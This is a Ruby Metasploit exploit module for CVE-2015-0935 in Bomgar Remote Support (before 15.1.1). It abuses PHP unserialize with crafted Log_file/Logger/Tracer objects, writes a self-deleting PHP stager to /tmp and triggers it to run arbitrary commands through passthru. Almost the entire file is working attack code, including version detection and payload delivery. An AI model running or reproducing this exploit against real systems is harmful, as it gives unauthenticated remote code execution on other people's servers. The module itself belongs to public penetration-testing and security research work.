##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize
super(
'Name' => 'Bomgar Remote Support Unauthenticated Code Execution',
'Description' => %q{
This module exploits a vulnerability in the Bomgar Remote Support, which
deserializes user provided data using PHP's `unserialize` method.
By providing an specially crafted PHP serialized object, it is possible
to write arbitrary data to arbitrary files. This effectively allows the
execution of arbitrary PHP code in the context of the Bomgar Remote Support
system user.
To exploit the vulnerability, a valid Logging Session ID (LSID) is required.
It consists of four key-value pairs (i. e., 'h=[...];l=[...];m=[...];t=[...]')
and can be retrieved by an unauthenticated user at the end of the process
of submitting a new issue via the 'Issue Submission' form.
Versions before 15.1.1 are reported to be vulnerable.
},
'Author' =>
[
'Markus Wulftange',
],
'License' => MSF_LICENSE,
'DisclosureDate' => 'May 5 2015',
'References' =>
[
['CWE', '94'],
['CWE', '502'],
['CVE', '2015-0935'],
['US-CERT-VU', '978652'],
['URL', 'http://codewhitesec.blogspot.com/2015/05/cve-2015-0935-bomgar-remote-support-portal.html'],
],
'Privileged' => false,
'Targets' =>
[
[ 'Linux x86',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
'CmdStagerFlavor' => [ :echo, :printf ]
}
],
[ 'Linux x86_64',
{
'Platform' => 'linux',
'Arch' => ARCH_X86_64,
'CmdStagerFlavor' => [ :echo, :printf ]
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true,
'TARGETURI' => '/session_complete',
},
)
register_options(
[
OptString.new('LSID', [true, 'Logging Session ID']),
], self.class
)
end
def check
version = detect_version
if version
print_status("Version #{version} detected")
if version < '15.1.1'
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
print_status("Version could not be detected")
return Exploit::CheckCode::Unknown
end
def exploit
execute_cmdstager
handler
end
def execute_command(cmd, opts)
tmpfile = "/tmp/#{rand_text_alphanumeric(10)}.php"
vprint_status("Uploading payload to #{tmpfile} ...")
upload_php_file(tmpfile, generate_stager_php(cmd))
vprint_status("Triggering payload in #{tmpfile} ...")
execute_php_file(tmpfile)
end
def detect_version
res = send_request_raw(
'uri' => '/'
)
if res and res.code == 200 and res.body.to_s =~ /<!--Product Version: (\d+\.\d+\.\d+)-->/
return $1
end
end
def upload_php_file(filepath, data)
send_pso(generate_upload_file_pso(filepath, data))
end
def execute_php_file(filepath)
send_pso(generate_autoload_pso(filepath))
end
def send_pso(pso)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path),
'vars_post' => {
'lsid' => datastore['LSID'],
'survey' => pso,
}
)
if res
if res.code != 200
fail_with(Failure::UnexpectedReply, "Unexpected response from server: status code #{res.code}")
end
if res.body.to_s =~ />ERROR: ([^<>]+)</
fail_with(Failure::Unknown, "Error occured: #{$1}")
end
else
fail_with(Failure::Unreachable, "Error connecting to the remote server") unless successful
end
res
end
def generate_stager_php(cmd)
"<?php unlink(__FILE__); passthru('#{cmd.gsub(/[\\']/, '\\\\\&')}');"
end
def generate_upload_file_pso(filepath, data)
log_file = PHPObject.new(
"Log_file",
{
"_filename" => filepath,
"_lineFormat" => "",
"_eol" => data,
"_append" => false,
}
)
logger = PHPObject.new(
"Logger",
{
"\0Logger\0_logs" => [ log_file ]
}
)
tracer = PHPObject.new(
"Tracer",
{
"\0Tracer\0_log" => logger
}
)
serialize(tracer)
end
def generate_autoload_pso(filepath)
object = PHPObject.new(
filepath.chomp('.php').gsub('/', '_'),
{}
)
serialize(object)
end
class PHPObject
attr_reader :name, :members
def initialize(name, members)
@name = name
@members = members
end
end
def serialize(value)
case value.class.name.split('::').last
when 'Array' then serialize_array_numeric(value)
when 'Fixnum' then serialize_integer(value)
when 'Float' then serialize_double(value)
when 'Hash' then serialize_array_assoc(value)
when 'Nil' then serialize_nil
when 'PHPObject' then serialize_object(value)
when 'String' then serialize_string(value)
when 'TrueClass', 'FalseClass' then serialize_boolean(value)
else raise "Value of #{value.class} cannot be serialized"
end
end
def serialize_array_numeric(a)
"a:#{a.size}:{" + a.each_with_index.map { |v, i|
serialize_integer(i) + serialize(v)
}.join + "}"
end
def serialize_array_assoc(h)
"a:#{h.size}:{" + h.each_pair.map { |k, v|
serialize_string(k) + serialize(v)
}.join + "}"
end
def serialize_boolean(b)
"b:#{b ? '1' : '0'};"
end
def serialize_double(f)
"d:#{f};"
end
def serialize_integer(i)
"i:#{i};"
end
def serialize_null
"N;"
end
def serialize_object(o)
"O:#{serialize_string(o.name)[2..-2]}:#{serialize_array_assoc(o.members)[2..-1]}"
end
def serialize_string(s)
"s:#{s.size}:\"#{s}\";"
end
end
